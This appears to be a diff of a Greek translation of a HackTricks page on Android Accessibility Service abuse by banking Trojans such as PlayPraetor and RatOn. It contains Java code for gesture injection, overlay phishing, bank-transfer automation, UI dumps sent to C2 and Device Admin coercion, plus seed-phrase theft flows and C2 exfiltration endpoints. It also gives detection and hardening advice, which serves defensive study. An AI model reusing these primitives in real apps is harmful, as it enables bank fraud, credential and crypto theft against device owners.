Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
### Σετ εντολών operator (παράδειγμα)
- UI/state: `txt_screen`, `screen_live`, `display`, `record`
- Social: `send_push`, `Facebook`, `WhatsApp`
- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
- Wallets: `metamask`, `trust`, `blockchain`, `phantom`
- ATS: `transfer`, `check_limit`, `limit`
- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
- NFC: `nfs`, `nfs_inject`
### Ιδέες ανίχνευσης & άμυνας (RatOn-style)
- Εντοπίστε WebViews με `addJavascriptInterface()` που εκθέτουν installer/permission methods· σελίδες που τελειώνουν σε “/access” και προκαλούν Accessibility prompts.
- Ειδοποίηση για apps που δημιουργούν υψηλό ρυθμό Accessibility gestures/clicks λίγο μετά τη χορήγηση πρόσβασης στην υπηρεσία· telemetry που μοιάζει με Accessibility node dumps αποστελλόμενα στο C2.
- Παρακολουθήστε αλλαγές πολιτικής Device Admin σε μη έμπιστες εφαρμογές: `lockNow`, password expiration, keyguard feature toggles.
- Ειδοποίηση για MediaProjection prompts από μη εταιρικές εφαρμογές ακολουθούμενα από περιοδικές frame uploads.
- Εντοπίστε εγκατάσταση/εκκίνηση εξωτερικής NFC-relay app που ενεργοποιείται από άλλη εφαρμογή.
- Για τραπεζικές εφαρμογές: επιβάλλετε out-of-band confirmations, biometrics-binding και transaction-limits ανθεκτικά σε on-device automation.
## Αναφορές
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
- [Luban Android image compression library](https://github.com/Curzibn/Luban)
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
- [GhostTap/NFSkate NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,24 +1,24 @@
# Android Accessibility Service Abuse
# Κατάχρηση Android Accessibility Service
{{#include ../../banners/hacktricks-training.md}}
## Overview
## Επισκόπηση
`AccessibilityService` δημιουργήθηκε για να βοηθήσει τους χρήστες με αναπηρίες να αλληλεπιδρούν με τις συσκευές Android. Δυστυχώς, οι ίδιες **ισχυρές APIs αυτοματοποίησης** (παγκόσμια πλοήγηση, είσοδος κειμένου, αποστολή χειρονομιών, παράθυρα επικαλύψεων…) μπορούν να χρησιμοποιηθούν από κακόβουλο λογισμικό για να αποκτήσουν **πλήρη απομακρυσμένο έλεγχο** της συσκευής _χωρίς δικαιώματα root_.
`AccessibilityService` δημιουργήθηκε για να βοηθά χρήστες με αναπηρίες να αλληλεπιδρούν με συσκευές Android. Δυστυχώς, οι ίδιες **ισχυρές automation APIs** (global navigation, text input, gesture dispatch, overlay windows…) μπορούν να οπλοποιηθούν από malware για να αποκτήσουν **πλήρη απομακρυσμένο έλεγχο** της συσκευής _χωρίς δικαιώματα root_.
Οι σύγχρονοι τραπεζικοί Trojan και Remote-Access-Trojans (RATs) όπως οι **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** και πολλοί άλλοι ακολουθούν την ίδια συνταγή:
Σύγχρονα Android banking Trojans and Remote-Access-Trojans (RATs) such as **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** and many others ακολουθούν την ίδια συνταγή:
1. Κοινωνική μηχανική για να πείσουν το θύμα να ενεργοποιήσει μια κακόβουλη υπηρεσία προσβασιμότητας (η άδεια *BIND_ACCESSIBILITY_SERVICE* θεωρείται "υψηλού κινδύνου" και απαιτεί ρητή ενέργεια από τον χρήστη).
2. Εκμετάλλευση της υπηρεσίας για
* να καταγράψει κάθε γεγονός UI & κείμενο που εμφανίζεται στην οθόνη,
* να εισάγει συνθετικές χειρονομίες (`dispatchGesture`) και παγκόσμιες ενέργειες (`performGlobalAction`) για να αυτοματοποιήσει οποιαδήποτε εργασία επιθυμεί ο χειριστής,
* να σχεδιάσει επικαλύψεις πλήρους οθόνης πάνω από νόμιμες εφαρμογές χρησιμοποιώντας τον τύπο παραθύρου **TYPE_ACCESSIBILITY_OVERLAY** (χωρίς προτροπή `SYSTEM_ALERT_WINDOW`!),
* να χορηγήσει σιωπηλά πρόσθετες άδειες χρόνου εκτέλεσης κάνοντας κλικ στα συστήματα διαλόγου εκ μέρους του θύματος.
3. Εξαγωγή δεδομένων ή εκτέλεση **On-Device-Fraud (ODF)** σε πραγματικό χρόνο ενώ ο χρήστης κοιτάζει μια απολύτως φυσιολογική οθόνη.
1. Social-engineer το θύμα ώστε να ενεργοποιήσει μια κακόβουλη accessibility service (η άδεια *BIND_ACCESSIBILITY_SERVICE* θεωρείται "high-risk" και απαιτεί ρητή ενέργεια από τον χρήστη).
2. Χρησιμοποιήσουν την υπηρεσία για
* να συλλάβουν κάθε UI event & κείμενο που εμφανίζεται στην οθόνη,
* να ενέσουν συνθετικές χειρονομίες (`dispatchGesture`) και global actions (`performGlobalAction`) για να αυτοματοποιήσουν οποιαδήποτε εργασία επιθυμεί ο χειριστής,
* να σχεδιάσουν overlays πλήρους οθόνης πάνω από νόμιμες εφαρμογές χρησιμοποιώντας τον τύπο παραθύρου **TYPE_ACCESSIBILITY_OVERLAY** (χωρίς prompt `SYSTEM_ALERT_WINDOW`!),
* σιωπηλά να χορηγήσουν επιπλέον runtime permissions κάνοντας κλικ στους διαλόγους του συστήματος εξ ονόματος του θύματος.
3. Να εξάγουν δεδομένα ή να πραγματοποιήσουν **On-Device-Fraud (ODF)** σε πραγματικό χρόνο ενώ ο χρήστης κοιτάζει μια απολύτως φυσιολογική οθόνη.
---
## Requesting the permission
## Αίτηση της άδειας
```xml
<!-- AndroidManifest.xml -->
<service
@ -34,7 +34,7 @@ android:exported="false">
android:resource="@xml/evil_accessibility_config"/>
</service>
```
Το συνοδευτικό XML καθορίζει πώς θα φαίνεται το ψεύτικο παράθυρο διαλόγου:
Το συνοδευτικό XML ορίζει πώς θα μοιάζει το ψεύτικο παράθυρο διαλόγου:
```xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
@ -47,7 +47,7 @@ android:canRetrieveWindowContent="true"/>
```
---
## Απομακρυσμένες βασικές αυτοματοποιήσεις διεπαφής χρήστη
## Βασικά στοιχεία απομακρυσμένης αυτοματοποίησης UI
```java
public class EvilService extends AccessibilityService {
@Override
@ -68,17 +68,17 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul
}
}
```
Με μόνο αυτές τις δύο APIs, ένας επιτιθέμενος μπορεί να:
* Ξεκλειδώσει την οθόνη, να ανοίξει την τραπεζική εφαρμογή, να πλοηγηθεί στο UI tree της και να υποβάλει μια φόρμα μεταφοράς.
* Να αποδεχτεί κάθε διάλογο άδειας που εμφανίζεται.
* Να εγκαταστήσει/ενημερώσει επιπλέον APKs μέσω της πρόθεσης του Play Store.
Με αυτές τις δύο APIs μόνο, ένας επιτιθέμενος μπορεί:
* Ξεκλειδώνει την οθόνη, ανοίγει την εφαρμογή τράπεζας, περιηγείται στο UI tree και υποβάλλει μια φόρμα μεταφοράς.
* Αποδέχεται κάθε permission dialog που εμφανίζεται.
* Εγκαθιστά/ενημερώνει επιπλέον APKs μέσω του Play Store intent.
---
## Πρότυπα κακοποίησης
## Πρότυπα κατάχρησης
### 1. Phishing με Overlay (Συλλογή Διαπιστευτηρίων)
Ένα διαφανές ή αδιαφανές `WebView` προστίθεται στον διαχειριστή παραθύρων:
### 1. Overlay Phishing (Credential Harvesting)
Μια διαφανής ή αδιαφανής `WebView` προστίθεται στον window manager:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
@ -87,41 +87,41 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
```
Ο θύμα πληκτρολογεί διαπιστευτήρια στη ψεύτικη φόρμα ενώ η εφαρμογή στο παρασκήνιο λαμβάνει τις ίδιες κινήσεις ποτέ δεν εμφανίζεται ύποπτη προτροπή "σχεδίαση πάνω από άλλες εφαρμογές".
Το θύμα πληκτρολογεί τα credentials στη ψεύτικη φόρμα ενώ η εφαρμογή στο παρασκήνιο λαμβάνει τις ίδιες χειρονομίες δεν εμφανίζεται ποτέ κάποιο ύποπτο "draw over other apps" prompt.
> Λεπτομερής παράδειγμα: η ενότητα *Accessibility Overlay Phishing* στη σελίδα Tapjacking.
> Λεπτομερές παράδειγμα: η ενότητα *Accessibility Overlay Phishing* μέσα στη σελίδα Tapjacking.
### 2. Αυτοματοποίηση απάτης στη συσκευή
Οικογένειες κακόβουλου λογισμικού όπως το **PlayPraetor** διατηρούν ένα μόνιμο κανάλι WebSocket όπου ο χειριστής μπορεί να εκδίδει εντολές υψηλού επιπέδου (`init`, `update`, `alert_arr`, `report_list`, …). Η υπηρεσία μεταφράζει αυτές τις εντολές σε χαμηλού επιπέδου κινήσεις, επιτυγχάνοντας μη εξουσιοδοτημένες συναλλαγές σε πραγματικό χρόνο που παρακάμπτουν εύκολα την πολυπαραγοντική αυθεντικοποίηση που σχετίζεται με αυτή τη συσκευή.
### 2. On-Device Fraud automation
Malware families such as **PlayPraetor** maintain a persistent WebSocket channel where the χειριστής μπορεί να εκδίδει εντολές υψηλού επιπέδου (`init`, `update`, `alert_arr`, `report_list`, …). Η υπηρεσία μεταφράζει αυτές τις εντολές σε παραπάνω χαμηλού επιπέδου χειρονομίες, επιτυγχάνοντας σε πραγματικό χρόνο μη εξουσιοδοτημένες συναλλαγές που παρακάμπτουν εύκολα το multi-factor-authentication δεμένο με αυτή τη συσκευή.
### 3. Ροή οθόνης & παρακολούθηση
Συνδυάζοντας το **MediaProjection API** με μια βιβλιοθήκη πελάτη RTMP, το RAT μπορεί να μεταδώσει το ζωντανό framebuffer στο `rtmp://<c2>:1935/live/<device_id>`, δίνοντας στον αντίπαλο τέλεια επίγνωση της κατάστασης ενώ η μηχανή προσβασιμότητας οδηγεί το UI.
### 3. Screen streaming & monitoring
By combining the **MediaProjection API** with an RTMP client library, the RAT can broadcast the live framebuffer to `rtmp://<c2>:1935/live/<device_id>`, δίνοντας στον επιτιθέμενο πλήρη επίγνωση της κατάστασης ενώ η Accessibility engine χειρίζεται το UI.
---
## PlayPraetor ροή εντολών & ελέγχου
## PlayPraetor command & control workflow
1. **HTTP(S) heartbeat** επαναλάβετε μια σκληρά κωδικοποιημένη λίστα μέχρι να απαντήσει ένα τομέας `POST /app/searchPackageName` με το ενεργό C2.
2. **WebSocket (port 8282)** αμφίδρομες εντολές JSON:
* `update` σπρώξτε νέα conf/APKs
* `alert_arr` ρυθμίστε πρότυπα επικάλυψης
* `report_list` στείλτε λίστα στοχευμένων ονομάτων πακέτων
* `heartbeat_web` keep-alive
3. **RTMP (port 1935)** ζωντανή ροή οθόνης/βίντεο.
1. **HTTP(S) heartbeat** iterate over a hard-coded list until one domain answers `POST /app/searchPackageName` with the active C2.
2. **WebSocket (port 8282)** αμφίδρομες JSON εντολές:
* `update` προωθεί νέες conf/APKs
* `alert_arr` ρυθμίζει overlay templates
* `report_list` στέλνει λίστα με στοχευμένα ονόματα πακέτων
* `heartbeat_web` διατήρηση σύνδεσης (keep-alive)
3. **RTMP (port 1935)** ζωντανή μετάδοση οθόνης/βίντεο.
4. **REST exfiltration**
* `/app/saveDevice` (δακτυλικό αποτύπωμα)
* `/app/saveDevice` (fingerprint)
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
* `/app/saveCardPwd` (τραπεζικά διαπιστευτήρια)
* `/app/saveCardPwd` (bank creds)
Η **AccessibilityService** είναι η τοπική μηχανή που μετατρέπει αυτές τις εντολές cloud σε φυσικές αλληλεπιδράσεις.
The **AccessibilityService** is the local engine that turns those cloud commands into physical interactions.
---
## Ανίχνευση κακόβουλων υπηρεσιών προσβασιμότητας
## Detecting malicious accessibility services
* `adb shell settings get secure enabled_accessibility_services`
* Ρυθμίσεις → Προσβασιμότητα → *Ληφθείσες υπηρεσίες* αναζητήστε εφαρμογές που **δεν** προέρχονται από το Google Play.
* Λύσεις MDM / EMM μπορούν να επιβάλουν `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) για να αποκλείσουν τις υπηρεσίες που έχουν εγκατασταθεί εκτός του καταστήματος.
* Settings → Accessibility → *Downloaded services* κοιτάξτε για εφαρμογές που **δεν** προέρχονται από Google Play.
* MDM / EMM solutions can enforce `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) to block sideloaded services.
* Αναλύστε τις τρέχουσες υπηρεσίες:
```bash
adb shell dumpsys accessibility | grep "Accessibility Service"
@ -129,17 +129,105 @@ adb shell dumpsys accessibility | grep "Accessibility Service"
---
## Συστάσεις ενίσχυσης για προγραμματιστές εφαρμογών
## Hardening recommendations for app developers
* Σημειώστε ευαίσθητες προβολές με `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
* Συνδυάστε `setFilterTouchesWhenObscured(true)` με `FLAG_SECURE` για να αποτρέψετε την κατάληψη tap/επικάλυψης.
* Ανιχνεύστε επικάλυψεις με την κλήση `WindowManager.getDefaultDisplay().getFlags()` ή το API `ViewRootImpl`.
* Αρνηθείτε να λειτουργήσετε όταν είναι ενεργό `Settings.canDrawOverlays()` **ή** μια μη αξιόπιστη υπηρεσία προσβασιμότητας.
* Συνδυάστε `setFilterTouchesWhenObscured(true)` με `FLAG_SECURE` για να αποτρέψετε tap/overlay hijacking.
* Ανιχνεύστε overlays ελέγχοντας περιοδικά `WindowManager.getDefaultDisplay().getFlags()` ή το API `ViewRootImpl`.
* Αρνηθείτε τη λειτουργία όταν `Settings.canDrawOverlays()` **ή** μια μη αξιόπιστη Accessibility service είναι ενεργή.
---
## ATS automation cheat-sheet (Accessibility-driven)
Malware μπορεί να αυτοματοποιήσει πλήρως μια bank app χρησιμοποιώντας μόνο Accessibility APIs. Γενικά primitives:
```java
// Helpers inside your AccessibilityService
private List<AccessibilityNodeInfo> byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}
```
Παράδειγμα ροής (Τσέχικα → Αγγλικές ετικέτες):
- "Nová platba" (Νέα πληρωμή) → κάντε κλικ
- "Zadat platbu" (Εισαγωγή πληρωμής) → κάντε κλικ
- "Nový příjemce" (Νέος παραλήπτης) → κάντε κλικ
- "Domácí číslo účtu" (Αριθμός εγχώριου λογαριασμού) → εστίαση και `ACTION_SET_TEXT`
- "Další" (Επόμενο) → κάντε κλικ → … "Zaplatit" (Πληρωμή) → κάντε κλικ → εισάγετε PIN
Εναλλακτικά: σκληρά κωδικοποιημένες συντεταγμένες με `dispatchGesture` όταν η αναζήτηση κειμένου αποτυγχάνει λόγω προσαρμοσμένων widgets.
Επίσης παρατηρήθηκε: προ-βήματα για `check_limit` και `limit` με πλοήγηση στο UI ορίων και αύξηση των ημερήσιων ορίων πριν τη μεταφορά.
## Ψευδο-ροή οθόνης βασισμένη σε κείμενο
Για απομακρυσμένο έλεγχο χαμηλής καθυστέρησης, αντί για πλήρη ροή βίντεο, εξάγετε μια κειμενική αναπαράσταση του τρέχοντος δέντρου UI και την στέλνετε επανειλημμένα στο C2.
```java
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
}
```
Αυτό είναι η βάση για εντολές όπως `txt_screen` (μία εκτέλεση) και `screen_live` (συνεχής).
## Βασικά primitives εξαναγκασμού για Device Admin
Μόλις ένας Device Admin receiver ενεργοποιηθεί, αυτές οι κλήσεις αυξάνουν τις ευκαιρίες για τη συλλογή των credentials και τη διατήρηση του ελέγχου:
```java
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);
// 1) Immediate lock
dpm.lockNow();
// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);
```
Σημείωση: η ακριβής διαθεσιμότητα αυτών των πολιτικών διαφέρει ανά Android έκδοση και OEM· επικυρώστε το device policy role (admin vs owner) κατά τη διάρκεια των δοκιμών.
## Crypto wallet seed-phrase extraction patterns
Παρατηρούμενες ροές για MetaMask, Trust Wallet, Blockchain.com και Phantom:
- Unlock with stolen PIN (captured via overlay/Accessibility) or provided wallet password.
- Πλοήγηση: Settings → Security/Recovery → Reveal/Show recovery phrase.
- Συλλογή της φράσης μέσω keylogging των text nodes, secure-screen bypass, ή screenshot OCR όταν το κείμενο είναι κρυφό.
- Υποστήριξη πολλαπλών τοπικών (EN/RU/CZ/SK) για σταθεροποίηση των selectors προτίμηση στο `viewIdResourceName` όταν είναι διαθέσιμο, fallback σε multilingual text matching.
## NFC-relay orchestration
Accessibility/RAT modules μπορούν να εγκαταστήσουν και να εκκινήσουν μια αφιερωμένη εφαρμογή NFC-relay (π.χ. NFSkate) ως τρίτο στάδιο και ακόμη να εισάγουν ένα overlay guide για να καθοδηγήσουν το θύμα μέσα από τα βήματα του card-present relay.
Ιστορικό και TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
---
## Αναφορές
* [PlayPraetors evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
* [Android accessibility documentation Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
* [GhostTap/NFSkate NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
{{#include ../../banners/hacktricks-training.md}}